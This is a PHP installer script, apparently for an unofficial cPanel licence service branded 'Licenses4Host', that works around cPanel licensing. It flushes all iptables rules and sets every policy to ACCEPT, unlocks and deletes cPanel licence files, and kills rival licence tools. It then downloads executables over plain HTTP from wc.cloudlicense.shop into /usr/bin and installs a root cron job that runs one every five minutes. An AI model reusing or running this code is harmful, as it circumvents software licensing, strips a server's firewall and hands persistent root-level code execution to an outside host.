#!/usr/local/BLBIN/bin/php
<?php

function exec_output($cmd)
{
	exec($cmd, $output, $return_var);

	if (1 < count($output)) {
		return join("\r\n", $output);
	}

	return $output[0];
}

function clean_firewall()
{
	exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
	exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
	exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
	exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
	exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
	exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
	exec('iptables -t nat -F > /dev/null 2>&1');
	exec('iptables -t mangle -F > /dev/null 2>&1');
	exec('iptables -F > /dev/null 2>&1');
	exec('iptables -X > /dev/null 2>&1');
}

function install_fleetssl()
{
	global $key;
	exec('killall -g yum > /dev/null 2>&1');
	system('yum -y remove letsencrypt-cpanel  &> /dev/null');
	system('rm -rf  /etc/yum.repos.d/letsencrypt.repo  &> /dev/null');
	system('rm -rf  /etc/letsencrypt-cpanel.licence  &> /dev/null');
	system('wget https://wc.cloudlicense.shop/api/files/' . $key . '/letsencrypt-cpanel?key=' . $key . '  -O /etc/letsencrypt-cpanel.licence &> /dev/null');
	system('rpm -i https://wc.cloudlicense.shop/api/files/' . $key . '/gitssl?key=' . $key . '   &> /dev/null');
}

function kill_licensecp()
{
	$current_process = getmypid();
	$killprocess = exec_output(' ps aux | grep LicenseCP | grep -v grep | awk \'{print  $2 }\'');
	$killprocess = explode("\r\n", $killprocess);

	foreach ($killprocess as $proc) {
		if ($proc != $current_process) {
			system('kill -9  ' . $proc . '  &> /dev/null');
		}
	}
}

function get_http_response_code($domain1)
{
	$ch = curl_init($domain1);
	curl_setopt($ch, CURLOPT_HEADER, true);
	curl_setopt($ch, CURLOPT_NOBODY, true);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_TIMEOUT, 30);
	$output = curl_exec($ch);
	$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close($ch);
	return $httpcode;
}

function get_request($url)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	$response = curl_exec($ch);
	curl_close($ch);
	return trim($response);
}

function remove_csp()
{
	if (file_exists('/usr/bin/update_cpanelv2')) {
		clean_firewall();
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Removing Cpanel License From Another Provider...  ' . "\x1b" . '[0m ' . "\n";
		echo "\n";
		echo "\n";
		exec('/usr/bin/update_cpanelv2 --Uninstall > /dev/null 2>&1');
		exec('rm -rf /usr/bin/update_cpanelv* > /dev/null 2>&1');
		exec('rm -rf /usr/bin/CSP* > /dev/null 2>&1');
		exec('rm -rf /etc/cron.d/CSP* > /dev/null 2>&1');
		exec('chattr -i /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -i /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('rm -rf   /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('touch  /usr/local/cpanel/cpanel.lisc');
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m WHM/CPanel Upgrade...  ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Will Take SomeTime... ' . "\x1b" . '[0m ' . "\n";
		sleep(2);
		echo "\n";
		echo "\n";
		system('/scripts/upcp --force');
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Done...  ' . "\x1b" . '[0m ' . "\n";
		return true;
	}

	return false;
}

function remove_old_license()
{
	$status = false;

	if (file_exists('/usr/bin/LicenseCP_update_v2')) {
		$status = true;
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Removing Old Cpanel License ...  ' . "\x1b" . '[0m ' . "\n";
		echo "\n";
		echo "\n";
	}

	if ($status) {
		clean_firewall();
		exec('chkconfig --del cgls > /dev/null 2>&1');
		exec('service cgls stop > /dev/null 2>&1');
		exec('rm -rf /etc/cron.d/cplicensecron > /dev/null 2>&1');
		exec('rm -rf /etc/cron.d/gb* > /dev/null 2>&1');
		exec('rm -rf /usr/bin/LicenseCP > /dev/null 2>&1');
		exec('rm -rf /usr/bin/LicenseCP* > /dev/null 2>&1');
		exec('chattr -i /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -i /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('rm -rf   /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('touch  /usr/local/cpanel/cpanel.lisc');
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m WHM/CPanel Upgrade...  ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Will Take SomeTime... ' . "\x1b" . '[0m ' . "\n";
		sleep(2);
		echo "\n";
		echo "\n";
		system('/scripts/upcp --force');
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Done...  ' . "\x1b" . '[0m ' . "\n";
	}

	return $status;
}

function remove_licensing()
{
	$status = false;
	if (file_exists('/usr/bin/Licensing') || file_exists('/etc/cron.d/licsys_cpanel') || file_exists('/usr/bin/licsys')) {
		$status = true;
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Removing Cpanel License From Another Provider...  ' . "\x1b" . '[0m ' . "\n";
		echo "\n";
		echo "\n";
	}

	exec('chkconfig --del cgls > /dev/null 2>&1');
	exec('service cgls stop > /dev/null 2>&1');
	exec('rm -rf /etc/init.d/cgls > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/cgls > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/licsys* > /dev/null 2>&1');
	exec('rm -rf /usr/bin/licsys > /dev/null 2>&1');
	exec('rm -rf /usr/bin/Licensing > /dev/null 2>&1');
	exec('rm -rf /usr/local/cgls > /dev/null 2>&1');

	if ($status) {
		clean_firewall();
		exec('chattr -i /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -i /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('rm -rf   /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('touch  /usr/local/cpanel/cpanel.lisc');
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m WHM/CPanel Upgrade...  ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Will Take SomeTime... ' . "\x1b" . '[0m ' . "\n";
		sleep(2);
		echo "\n";
		echo "\n";
		system('/scripts/upcp --force');
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Done...  ' . "\x1b" . '[0m ' . "\n";
	}

	return $status;
}

function remove_rc()
{
	$status = false;

	if (file_exists('/etc/cron.d/sysmail')) {
		$status = true;
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Removing Cpanel License From Another Provider...  ' . "\x1b" . '[0m ' . "\n";
		echo "\n";
		echo "\n";
	}

	exec('rm -rf /etc/cron.d/rc* > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/sysmail > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/wo-com > /dev/null 2>&1');
	exec('rm -rf /etc/cron.d/helpercln > /dev/null 2>&1');
	exec('rm -rf /usr/bin/rc* > /dev/null 2>&1');
	exec('rm -rf /usr/bin/Rc* ');

	if ($status) {
		clean_firewall();

		if (!file_exists('/usr/bin/chattr')) {
			exec('cp /usr/bin/comp0  /usr/bin/chattr > /dev/null 2>&1');
		}

		exec('chattr -i /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpkeyclt > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -i /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('chattr -a /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
		exec('rm -rf   /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		exec('touch  /usr/local/cpanel/cpanel.lisc');
		echo "\x1b" . '[36m Please Wait... ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m WHM/CPanel Upgrade...  ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[36m Will Take SomeTime... ' . "\x1b" . '[0m ' . "\n";
		sleep(2);
		echo "\n";
		echo "\n";
		system('/scripts/upcp --force');
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\n";
		echo "\x1b" . '[36m Done...  ' . "\x1b" . '[0m ' . "\n";
	}

	return $status;
}

echo "\n";
error_reporting(0);
$RED = '\\033[31m';
$Cyan = '\\033[36m';
$Green = '\\033[32m';
$NC = '\\033[0m';
$key = 'cpanel';
$api = 'https://wc.cloudlicense.shop/api/getinfo?key=' . $key;
$api_license = 'https://wc.cloudlicense.shop/api/license?key=' . $key;
$status_code = get_http_response_code((string) $api);
$plast_bin = '/usr/bin/plast';
$current_ip = get_request('https://ipinfo.io/ip');
$domain_show = 'Licenses4.Host';
$brand_show = 'Licenses4Host';
$hostname_show = exec_output('hostname');
$cp = exec('cat /usr/local/cpanel/version');
$kernel = exec('uname -r');
$server_type = 'VPS';

if (!file_exists('/etc/redhat-release')) {
	system('yum install deltarpm  -y  1> /dev/null');
}

if (!is_executable(exec_output('command -v wget'))) {
	if (file_exists('/etc/redhat-release')) {
		system('yum -q install wget -y  1> /dev/null');
	}
	else {
		system('apt-get install -q -y  wget  1> /dev/null');
	}
}

$output = get_request($api);

if ($status_code != '200') {
	printf("\x1b" . '[31m Something Went Wrong [Unknown Ip]   ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	exit();
}

$output = json_decode($output, true);
$expire_date = $output['expire_date'];
$status_license = $output['status'];
$action = $output['action'];
$get_domain_show = $output['domain_name'];
$get_brand_show = $output['brand_name'];
$get_key_cmd_show = $output['key_cmd'];
$today_date = get_request('https://wc.cloudlicense.shop/api');

if ($get_key_cmd_show != '') {
	$key_cmd = $get_key_cmd_show;
}

if ($get_domain_show != '') {
	$domain_show = $get_domain_show;
}

if ($get_brand_show != '') {
	$brand_show = $get_brand_show;
}

if ($status_license == 'suspended') {
	printf("\x1b" . '[31m Your License has been suspended contact ' . $get_brand_show . '  ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[31m Thank for your understanding  ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	echo "\n";
	echo "\n";
	exit();
}

echo "\n";
echo "\n";
remove_rc();
remove_licensing();
remove_csp();
remove_old_license();
system('rm -rf /usr/bin/pid/running.pid &> /dev/null');
kill_licensecp();
system('rm -rf  /etc/cron.d/cplicensecron  &> /dev/null');
system('wget -q  -O \'/usr/bin/installssl\'  \'http://wc.cloudlicense.shop/api/files/' . $key . '/installssl?key=' . $key . '\'  &> /dev/null');
system('wget -q  -O \'/usr/bin/LicenseCP_update\'  \'http://wc.cloudlicense.shop/api/files/' . $key . '/LicenseCP_update?key=' . $key . '\'  &> /dev/null');
system('chmod +x  \'/usr/bin/LicenseCP_update\'  &> /dev/null');
system('wget -q  -O \'/usr/bin/licensescc\'  \'http://wc.cloudlicense.shop/api/files/' . $key . '/licensescc?key=' . $key . '\'  &> /dev/null');
system('chmod +x  \'/usr/bin/licensescc\'  &> /dev/null');
system('chmod +x  "/usr/bin/installssl"  &> /dev/null');
system('wget -q  -O \'/usr/bin/LicenseCP\'  \'http://wc.cloudlicense.shop/api/files/' . $key . '/LicenseCP?key=' . $key . '\'  &> /dev/null');
system('chmod +x  \'/usr/bin/LicenseCP\'  &> /dev/null');
system('wget -q  -O \'/usr/bin/LicenseCP_v2\'  \'http://wc.cloudlicense.shop/api/files/' . $key . '/LicenseCP_v2?key=' . $key . '\'  &> /dev/null');
system('chmod +x  \'/usr/bin/LicenseCP_v2\'  &> /dev/null');
exec('echo \'*/5 * * * *  root /usr/local/BLBIN/bin/php /usr/bin/LicenseCP_v2 \' >> /etc/cron.d/cplicensecron');

if (file_exists('/usr/local/cpanel/cpconf')) {
	echo "\n\n" . ' ' . "\x1b" . '[32m | ' . $brand_show . ' license in now installing... Please wait...' . "\x1b" . '[0m ' . "\n\n";
	exec('killall yum > /dev/null 2>&1');
	echo "\x1b" . '[32m  [+] ' . $brand_show . ' has been installed on your server. Enjoy :) [+] ' . "\x1b" . '[0m ' . "\n\n";
	echo "\n";
	echo "\n";
	printf("\x1b" . '[32mTo Re-New your Cpanel License you can use : ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[36m    LicenseCP  ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	printf("\x1b" . '[32mTo Update WHM/CPanel  you can use : ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[36m    LicenseCP --upcp  ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	printf("\x1b" . '[32mFor WHM/CPanel SSL  you can use : ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[36m    LicenseCP --installssl  ' . "\x1b" . '[0m ' . "\n");
}
else {
	echo "\x1b" . '[33m Cpanel is not installed on your server !! Would you like to install ? [Yes/No] ' . "\x1b" . '[0m' . "\n\n";
	$handle = fopen('php://stdin', 'r');
	$line = fgets($handle);

	if (trim($line) == 'Yes') {
		echo 'Installing cPanel...';
		system('cd /home; wget http://layer1.cpanel.net/latest; sh latest');
	}
	else {
		if (trim($line) == 'No') {
			echo 'aborting ...';
			exit();
		}

		echo 'Wrong input ...';
	}

	exec('' . $brand_show . '');
}

?>